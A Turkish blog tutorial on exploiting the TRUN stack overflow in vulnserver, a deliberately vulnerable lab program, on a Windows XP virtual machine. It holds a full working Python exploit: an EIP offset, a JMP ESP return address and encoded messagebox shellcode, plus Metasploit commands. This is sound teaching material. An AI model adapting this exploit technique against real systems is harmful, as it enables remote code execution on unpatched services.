ring0.info

Bilgi: Bu yazının yazıldığı tarih üzerinden biraz zaman geçmiş, eski/eksik/yanlış bilgi içeriyor olabilir.
Stack Tabanlı Zafiyetlerin Exploit Edilmesi

Merhabalar, başlıktan anlaşılabileceği üzere bügün stack tabanlı zafiyetlerin sömürülmesi hakkında bilgi vermeye çalışacağım. Bu arada giriş paragraflarını bir türlü mantıklı yapamıyorum sanırım, herneyse. Yazı boyunca - ve sanırım sonradan ekleyeceğim bir iki yazıda da- içerisinde bazı zafiyetler bulunan ve Stephen Bradshaw tarafından yazılmış bir ağ uygulamasını kullanacağım. Aşağıdan indirebilirsiniz.

vulnserver.rar

Yazı boyunca bu programı sanal makine olarak çalışan bir Windows XP SP3 sistemde OllyDbg ile çalıştıracağız. Asıl sistemde ise paket göndermek için python kullanacağız.

Zafiyetin İncelenmesi

Öncelikle programı çalıştırıp bağlantı kuralım bakalım bize ne seçenekler sunuyor. XP makinada programı çalıştırıp, diğer bilgisayardan 9999 numaralı porta bağlantı kuralım ve durumu görelim.

Ana makine :

Sanal makine(XP):

Buradaki her komutta sanırım bir zafiyet bulunuyor. Bu yazıda TRUN komutunda bulunan stack overflow açığı üzerinden gideceğiz. Açığın tetiklenmesi için programın TRUN komutuna parametre olarak 2000 haneden fazla bir parametre girilmesi gerekiyor. Açığı görebilmek amaçlı python ile programa 3000 karakter A harfi gönderelim, bu sırada program debuggerda çalışıyor durumda. Kullandığımız program:

#!python
from socket import *

# Soket parametreleri
host = "192.168.177.131"
port = 9999
buf = 1024
adres = (host,port)

# Soket oluşturuluyor ve bağlantı kuruluyor
Baglanti = socket(AF_INET,SOCK_STREAM)
Baglanti.connect(adres)

# Gönderilecek Mesaj
mesaj = "TRUN ."
mesaj += "A" * 3000

# Mesajın gönderilmesi
Baglanti.send(mesaj)

#Cevap ?
gelencevap=Baglanti.recv(buf)
print gelencevap

# Soketin Kapatılması
Baglanti.close()

Burada programın TRUN komutuna 3000 tane A harfi gönderdik, ardından programdan gelen cevabı alıp ekrana yazdık. Şimdi python ile bu scripti çalıştırıp sanal makinedaki durumu görelim.

Gördüğünüz gibi bir istisna meydana gelmiş durumda. Yazmaçların durumunu da görelim.

Gördüğünüz gibi EIP ve EBP hex 42 ile dolmuş durumda. Zafiyeti doğrulamak amacıyla program içerinde TRUN komutunun işlediği kısma bir breakpoint koyup, açığı tetikleyen scripti çalıştırıyoruz. Bu defa program çökmeden önce bp’de duruyor. Bu kısma geldiğimizde CTRL + F11 yaparak (Trace İnto) çökme meydana geldiğinde olup biteni izliyoruz, ardından View menüsünden Run Trace ile çökme sırasında çağırılan makine kodlarını görüyoruz.

Disassembly kısmına ilk bakıldığında zafiyete neden olan bir call görünmüyor fakat run trace takip edilirse eğer 00401D77 adresinde yapılan cağrı bizi strcpy ile karşılaştırıyor. Bildiğiniz üzere strcpy kopyalama yaparken bir kontrol yapmıyor, bu sebepten dolayı strcpy çağırıldığı sırada (00401821) bir taşma meydana geliyor. Zafiyet basitçe bu şekilde doğrulanabilir. Ayrıca resimde sağ altta stackin durumunu da görebilirsiniz. Ayrıca zafiyet kaynak kodunda şu şekilde.

        } else if (strncmp(RecvBuf, "TRUN ", 5) == 0) {
            char *TrunBuf = malloc(3000);
            memset(TrunBuf, 0, 3000);
            for (i = 5; i < RecvBufLen; i++) {
                if ((char)RecvBuf[i] == '.') {
                    strncpy(TrunBuf, RecvBuf, 3000);                
                    Function3(TrunBuf);
                    break;
                }
            }

Son satırlarda çağırılan Function3 şu şekilde tanımlanmış.

void Function3(char *Input) {
    char Buffer2S[2000];    
    strcpy(Buffer2S, Input);
}

Görüldüğü üzere 2000 karakter üstünde bir değer girildiğinde taşma meydana geliyor. İnceleme kısmını burada bitirip şimdi bu zafiyetin exploit edilmesi kısmına gelelim.

Zafiyetin Sömürülmesi

Şimdi bu zafiyetin nasıl exploit edilebileceğini görelim bakalım. Öncelikle elimizde ne olduğunu düşünelim. Stack overflow açığı ile karşı karşıyayız ve EIP üzerine 41(A) yazdırmayı başardık. Hafızada 41414141 adresinde bir değer olmadığı için de programımız mantıklı şeyler üretemedi bize. Şimdi, bizim yapmak istediğimiz şey programı kendi isteğimiz doğrultusunda yönlendirmek. Yani EIP üzerinen bizim istediğimiz bir şeyin adresini yazabilirsek programın akışını da ele geçirebiliriz demektir. Peki bunu nasıl yapacağız ? Yani o 3000 A karakterinin içerisinde hangi kısım EIP yazmacına denk geliyor ? Bunu bulmak için metasploit ile birlikte gelen mükemmel yardımcı yazılım pattern_create’ı kullanacağız. Yine sanal makinede hazır bekleyen BlackArch içersinden bu araca erişeceğim ben, siz de bir yol bulursunuz artık.

Peki ne yapıyor bu arkadaş ? Basitçe birbirinden farklı A-z, 0-9 kullanarak belirtilen uzunlukta bir text oluşturuyor. Siz 3000 A yerine bunu kullanıyorsunuz ardından EIP üzerine denk gelen kısmı alarak diğer bir araç olan pattern_offset’i kullanarak EIP’in kaçıncı bayttan sonra yazıldığını öğreniyorsunuz.

Şimdi, pattern_create kullanarak 3000 karakterlik bir pattern oluşturuyoruz.

[email protected]:# ./pattern_create.rb 3000 >> /home/bek/pat.txt   

Oluşturulan pat.txt içerisindeki pattern’i kopyalayıp tetiklemek için kullandığımız scripte ekliyoruz. Yani mesaj += ""A" * 3000" tanımlamaya o pattern’i yazıyoruz. Ardından programı, scripti tekrar çalıştırıp sanal makinedeki EIP durumuna bakıyoruz.

EIP 396F4338 değerini almış, şimdi bu değeri pattern_offset yardımcı programında kullanalım.

[email protected]:# ./pattern_offset.rb 396F4338
[*] Exact match at offset 2006

Gördüğünüz gibi 2006 offsetini gösterdi. Bu demektir ki 2006dan sonraki 4 Byte bizim EIP registerımız üzerine geliyor. Bu bilgiyi tetiklemek için kullandığımız scriptte tekrarlayalım bakalım.

# Gönderilecek Mesaj
mesaj = "TRUN ."    # Zafitet içeren komut
mesaj += "A" * 2006 # 2006 tane A harfi
mesaj += "B" * 4    # EIP üzerine geleceğini umduğumuz (42)
mesaj += "C" * (3000 - len(mesaj))

Gördüğünüz gibi toplamda 3000 karakter gönderiyorduk, 2006 adet A harfiden sonraki 4 byte bizim EIP yazmacımız üzerine geliyor, geriye kalan kısmı da C(43) ile doldurduk. Şimdi tekrar çalıştırıp yazmaçların durumunu kontrol edelim.

Görüldüğü üzere EIP istediğimiz B ile dolmuş durumda! EAX yazmacında 2006 A ve ESP yazmacında geriye kalan C harfleri var.

Evet! Şu anda EIP yazmacı üzerinde hakimiyet kurabiliyoruz. Yani programın akışını istediğimiz yere çevirebilmekteyiz. Şimdi şu şekilde düşünelim, bu işlem için bize bir shellcode gerekli. Yani bizim çalışmasını istediğimiz program olarak düşünün. Programa parametre olarak gönderdiğimiz C’lerin yerine bu shellcode’u yazarsak ve program bu kodun olduğu yerden çalışmaya devam ederse bu durumda bizim kodumuz çalıştırılmış olacaktır. Yani basitçe bizim programımızın akışı ESP yazmacından devam etmeli lakin bizim shellcodumuz orada yer alacak yani C’lerin yerinde. Şimdi bunu nasıl yaparız ? İsterseniz hemen patchleme yaparak programdaki boş bir yere bir adet JMP ESP instructionı ekleyin, ardından bu instructionın adresini de EIP’e yazın ? Nasıl ama ? Evet. Kendi makinenizde çalışan bir zafiyetli yazılım için bu geçerli bir durum fakat unutmayın ki patchlemek iyi bir şey değildir eheuhehe.

Yapmamız gereken programın içerisinde bir yerlerde ESP’ye jump yapan bir kısım bulmak ve EIP üzerine bunu yazmak. Akla ilk gelen programın kullandığı bir dll varsa onun içerisinde şansımızı denemek. Bu sayede program akışını değiştirebiliriz. Debuggerda View menüsünden Executable Modules kısmında programda kullanılan dll dosyalarını görelim.

İkinci satırda programın kullandığı essfunc.dll dosyası ilgi çekici, çift tıklayarak inceleyelim, hatta direk çift tıkladıktan sonra CTRL + F yaparak JMP ESP arayalım.

Bakınız, bir kaç tane güzel, işimizi görecek instruction bulduk. İlk instructionın adresi neymiş ? 625011AF bunu not edelim ve bir konuya değinelim. - Sonraki paragraf hüzünlü bilgi içerir. -

Bu adres sizce hep sabit mi ? Eğer ki sistem XP ise evet, sabit. Ama ya daha sonrası sistemler ? İşte o zaman devreye çok ama çok sevgili arkadaşımız ASLR(Address space layout randomization) giriyor. Nedir bu arkadaş derseniz, yine sistemi koruma amaçlı geliştirilmiş zımbırtılardan biri kendisi. Basitçe anlatmak gerekirse program her çalıştığında bir öncekinden farklı adresler üreterek sizin sabit bir şey yazmanızı engelliyor. Basit bir tanımı var ama engelleme konusunda iyi olduğunu söyleyebiliriz. Ha, tebii bypass edilebiliyor o ayrı, sonraki yazılarda inşallah. Dediğim gibi, bizim sistemde ASLR yok, dert etmeye gerek yok. Yine de emin olmak istiyorsanız dll dosyasının PE header bilgilerine bakablirsiniz.

DllCharacteristics kısmının 0000 olması iyiye işaret. İsterseniz görmek amaçlı bir de Windows XP üzeri bir sistemde ntdll.dll dosyasının DllCharacteristics kısmına bakabilirsiniz.

Evet, ne diyorduk. Gereken adresi not etmiştik, şimdi bu adresi EIP yazmacına yazacağız, ESP’ye de shellcodumuzu yazacağız. Öncelikle shellcodu oluşturalım. Ekrana bir pencere açıp yazı gösteren bir shellcode oluşturacağız. Bunun için yine metasploit’in msfpayload aracını kullanacağız.

[email protected]:# msfpayload windows/messagebox TEXT='Gari de gari gari' TITLE='Ne oluyor?' R| msfencode -b 
'\x00\x0A\x0D' -t python

[*] x86/shikata_ga_nai succeeded with size 297 (iteration=1)

buf =  ""
buf += "\xdd\xc5\xbb\x88\x1a\x26\x5f\xd9\x74\x24\xf4\x58\x2b"
buf += "\xc9\xb1\x44\x31\x58\x19\x03\x58\x19\x83\xe8\xfc\x6a"
buf += "\xef\xff\xb4\xf1\xc9\x74\x6f\xf1\xdb\xa6\xdd\x8e\x2a"
---snip---

Bu komut işlemimiz için gerekli olan shellcodeu bize verdi. Tabii tümünü yayınlamıyorum. Şimdi exploitin son düzenlemelerinin yapalım.

Öncelikle EIP üzerine yazılması gereken adres 625011AF idi.

mesaj = "TRUN ."    # Zafitet içeren komut
mesaj += "A" * 2006 # 2006 tane A harfi
mesaj += struct.pack('<I', 0x625011AF) # essfunc.dll'deki JMP ESP Adresi

Burada neden struct.pack() kullandığımızı merak etmiyorsanız okumasanız da olabilir, hehe şaka şaka. Şuraya bakınız. (< = little-endian, I = unsigned int)

Şimdi shellcodu da ekleyelim, ayrıca shellcode’dan önce biraz NOP(90) ekleyeceğiniz çünkü metasploit ile encode edilmiş shellcodemuz için bu kodun decode edilebilmesi için biraz alan gerekiyor. Çok değil, 20 ekleyelim. Son halini görelim.

#!python
import struct #Dikkat
from socket import *

# Soket parametreleri
host = "192.168.177.131"
port = 9999
buf  = 1024
adres = (host,port)

# Soket oluşturuluyor ve bağlantı kuruluyor
Baglanti = socket(AF_INET,SOCK_STREAM)
Baglanti.connect(adres)

# Gönderilecek Mesaj
mesaj = "TRUN ."    # Zafitet içeren komut
mesaj += "A" * 2006 # 2006 tane A harfi
mesaj += struct.pack('<I', 0x625011AF) # essfunc.dll'deki JMP ESP Adresi  
mesaj += "\x90" * 20 # 20 Adet NOP -> msfencode için
# TextBox Shellcode
mesaj += "\xba\x9a\xe7\x6f\x9a\xdb\xc2\xd9\x74\x24\xf4\x5e\x31"
mesaj += "\xc9\xb1\x44\x83\xee\xfc\x31\x56\x10\x03\x56\x10\x78"
mesaj += "\x12\xb6\x71\xe7\x04\x3d\xa2\xe3\x86\x6c\x18\x7c\xd8"
mesaj += "\x59\x39\x09\x6b\x6a\x49\x7b\x80\x01\x3b\x9f\x13\x53"
mesaj += "\xcc\x14\x5d\x7c\x47\x1c\x9a\x33\x4f\x15\x29\x92\x6e"
mesaj += "\x04\x32\xc4\x11\x2d\xa1\x23\xf6\xba\x7f\x10\x7d\xe8"
mesaj += "\x57\x10\x80\xfa\x23\xaa\x9a\x71\x69\x0b\x9a\x6e\x6d"
mesaj += "\x7f\xd5\xfb\x46\x0b\xe4\x15\x97\xf4\xd6\x29\x24\xa6"
mesaj += "\x9d\x69\xa1\xb0\x5c\xa6\x47\xbe\x99\xd3\xac\xfb\x59"
mesaj += "\x07\x65\x89\x40\xcc\x2f\x55\x82\x39\xa9\x1e\x88\xf6"
mesaj += "\xbd\x7b\x8d\x09\x29\xf0\xa9\x82\xac\xef\x3b\xd0\x8a"
mesaj += "\xf3\x5a\x1b\x60\x03\xb4\x4f\x0c\xf1\x4f\xad\x67\x74"
mesaj += "\x01\x3f\x94\xda\x76\xa0\x9b\x24\x79\x57\x26\xdf\x3d"
mesaj += "\x19\x71\x3d\x32\x62\x9d\xe6\xe7\x84\x10\x19\xf8\xab"
mesaj += "\xa4\xa3\x0f\x3b\xdb\x47\x30\xfa\x4b\xab\x02\xd2\xef"
mesaj += "\xa3\x17\x59\x95\x41\x50\xc1\x71\xac\xe9\x1f\x2f\x4f"
mesaj += "\xbc\xdb\x59\x6d\x6f\x58\xf1\xd0\xdd\x22\x85\x09\xfa"
mesaj += "\x08\x62\x50\xfd\x53\x8d\xfb\x73\x94\x2a\xdc\x1b\x86"
mesaj += "\xbf\x65\xb3\x3e\x0e\xf3\x6b\xd1\xbf\x20\xe3\x71\xe4"
mesaj += "\xdc\x7d\x6a\x8c\x89\x25\x4c\x6d\x22\xf6\xeb\x0c\xc0"
mesaj += "\x9e\x94\xaf\x56\x36\x32\x10\xf3\xad\xe2\x38\xbc\x4c"
mesaj += "\x90\xd1\x73\x46\xdc\x6e\x50\x49\x55\x8f\xa9\xbb\x37"
mesaj += "\x03\x9b\x69\x48\x73\x2a\x4e\xe6\x8b\x18\x46"

# Mesajın gönderilmesi
Baglanti.send(mesaj)

#Cevap ?
gelencevap=Baglanti.recv(buf)
print gelencevap

# Soketin Kapatılması
Baglanti.close()

Evet, artık sona geldik. Şimdi test zamanı! Sanal makinede tekrar zafiyetli yazılımı çalıştıralım ve ardından kodladığımız exploiti deneyelim.

Görüldüğü üzere exploit çalıştı.

Son olarak eklemek istediğim bir şey var, exploit çalışmadan önce olanları güzelce görmek için essfunc.dll içerisinde bulduğumuz JMP ESP instructionına BP koyun, ardından exploiti çalıştırıp F8 ile step by step devam ederseniz olayları daha net görebilirsiniz.

Umarım faydası dokunur, sonuna kadar okuyanlara teşekkürler.